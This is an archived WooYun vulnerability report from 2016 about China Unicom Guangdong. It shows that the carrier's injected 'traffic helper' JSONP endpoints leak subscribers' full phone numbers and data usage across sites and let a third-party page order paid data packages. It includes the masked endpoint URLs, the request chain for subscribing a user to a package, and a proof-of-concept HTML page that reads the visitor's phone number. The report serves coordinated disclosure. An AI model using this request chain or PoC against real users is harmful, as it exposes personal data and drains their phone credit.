当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0172305

漏洞标题:中国联通某站jsonp接口跨域导致信息泄漏并可开通某些套餐(运营商额外插入功能带来的风险)

相关厂商:中国联通

漏洞作者: imlonghao

提交时间:2016-01-27 13:47

修复时间:2016-03-14 14:25

公开时间:2016-03-14 14:25

漏洞类型:敏感信息泄露

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-27: 细节已通知厂商并且等待厂商处理中
2016-01-29: 厂商已经确认,细节仅向厂商公开
2016-02-08: 细节向核心白帽子及相关领域专家公开
2016-02-18: 细节向普通白帽子公开
2016-02-28: 细节向实习白帽子公开
2016-03-14: 细节向公众公开

简要描述:

中国联通某站 jsonp 接口跨域导致存在信息泄漏,可能导致用户手机号码、流量使用状况泄漏
同时,某接口可能会被恶意使用快速消耗用户话费

详细说明:

首先先来开下脑洞,现在中国联通在搞链路挟持,在你正常的上网过程中给你插些不明来历的代码,加点广告什么的,其中也包括了他们推出的所谓什么“流量助手”以及“沃~助手”之类的。

wooyun.jpg


(图片来自网络)
像图片中的那样,底部被插上了联通的“沃~助手”,用途就是给你看当前的流量之类的。
**先不说他的链路挟持是否合法,就谈谈他这个地方的安全性。你将相关的代码插到了我的页面当中,可能就需要跨域请求到你联通的服务器进行相关数据的获取,而我作为可以控制当前这个网页的人,应该就是有办法能够获取到你跨域请求到的信息,例如手机号码什么的,这样可能就存在相应的信息泄漏。**
这个漏洞大概就是以广东为例子,因为我无法测试外省的相关系统,如果可以麻烦你们也去检查一下其他省份的情况。
广东联通有一个服务,似乎是默认开启的,而我也并不知道有这个服务,那就是联通的上网助手

wooyun-3.png


他在我们上网的过程中,会插入相应的代码到页面中

wooyun-1.png


如图所示左下角就是他们插入的,一个流量球之类的东西,而问题就是出现在这里。

wooyun-2.png


在这个地方,他会显示你当前的流量以及月的总流量,在用户**显示**上面,似乎不会有完整的手机号码,只有类似156****8888这样少了4位的号码,但是在跨域交互当中,就传递了完整的号码。
经过测试,这个所插入的地方通过 jsonp 跨域请求数据,而这就出现了问题
详看漏洞证明。

漏洞证明:

漏洞所在域名:**.**.**.**
经过几天的观察,似乎仅仅是广东联通的手机上网用户可以访问到这个域名下的内容,其他省份用户并不可以。
同时,比较蛋疼的是现在部分手机浏览器都有类似“省流量访问”的功能,这就导致了这个 jsonp 接口有时请求并不是从用户浏览器直接发出,而是从相应的中转服务器出发,而这些服务器都是无法访问的,因此在部分的手机浏览器中需要先关掉相应的“省流量访问”的功能才能访问到这个接口。
===================
**.**.**.** 下的接口几乎都可以使用 jsonp 跨域来获取到数据,下面是几个功能比较突出的接口。
===================

http://**.**.**.**/html/servicereq/queryMessageList?callback=angular.callbacks._13&reqparam=%7B%22flag%22:%22-1%22,%22number%22:%2210%22,%22startNum%22:%221%22%7D


获取用户消息,其中包括了用户的完整手机号码。

wooyun-1.jpg


===================

http://**.**.**.**/html/servicereq/activetrafficquery?callback=angular.callbacks._13&reqparam=%7B%7D


获取用户当前使用的流量信息

wooyun-2.jpg


===================
组合使用

http://**.**.**.**/html/servicereq/packagestore?callback=angular.callbacks._64&reqparam=%7B%7D


wooyun-3.jpg


获取套餐包 ID

http://**.**.**.**/html/servicereq/commonpkgsub?callback=angular.callbacks._6d&reqparam=%7B%22id%22:%22-147014340A146%22%7D


下单这个 ID 为 -147014340A146 的流量快餐包

http://**.**.**.**/html/servicereq/confirmpkgsub?callback=angular.callbacks._6f&reqparam=%7B%22id%22%3A%22-147014340A146%22%2C%22flowUpshiftFlag%22%3A%220%22%2C%22saleid%22%3A%22%22%2C%22effecttime%22%3A%7B%22value%22%3A%220%22%7D%2C%22effectperiod%22%3A%7B%22value%22%3A%221%22%7D%2C%22isMonthPack%22%3A%221%22%2C%22taskId%22%3A%22%22%7D


wooyun-4.jpg


二次确认
依次访问这几个地址就可以帮访问当前页面的联通用户开通一个10块钱的流量快餐包,此时用户的手机会有相应开通成功的提示(我为了测试这个地方花了我20块钱 - -l
如果有不怀好意的人,重复循环这几个步骤,那么可能会给用户带来极大的损失。
我个人估计第二步可以省略,但是我已经没钱测试了......
===================
===================
为了测试,我写了个简单的页面进行测试,跨域获取到当前访问的联通用户手机号以及流量使用情况。

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Liantong</title>
</head>
<body>
<script>
function phoneNumber(data) {
alert("你的手机号码是:" + data['respparam']['phoneNumber']);
}
function trafficUsage(data) {
alert("截至 " + data['respparam']['trafficusage']['traffictime'] + "\n你有 " + data['respparam']['trafficusage']['total'] + " KB\n已用 " + data['respparam']['trafficusage']['used'] + " KB\n");
}
</script>
<script src="http://**.**.**.**/html/servicereq/queryMessageList?callback=phoneNumber&reqparam=%7B%22flag%22%3A%22-1%22%2C%22number%22%3A%2210%22%2C%22startNum%22%3A%221%22%7D"></script>
<script src="http://**.**.**.**/html/servicereq/activetrafficquery?callback=trafficUsage&reqparam=%7B%22applist%22:%22itaocanresult%22%7D"></script>
</body>
</html>


wooyun-5.jpg


wooyun-6.jpg

修复方案:

我本身想写和大多数 jsonp 接口那样子的做好 Referer 防护,但是想了想,这个页面、这个 jsonp 接口就是插到各种网站上面去的,包括我现在访问着的乌云,所以做这个并没有什么意义。
如果可以的话,我觉得,还是不要做链路挟持了,把整个功能关掉多好。既能不再影响用户的正常上网体验,又不会遭受被骂链路挟持乱插广告的名声。
具体修复方案还请你们自行定夺

版权声明:转载请注明来源 imlonghao@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-01-29 15:19

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给广东分中心,由其后续协调网站管理单位处置.

最新状态:

暂无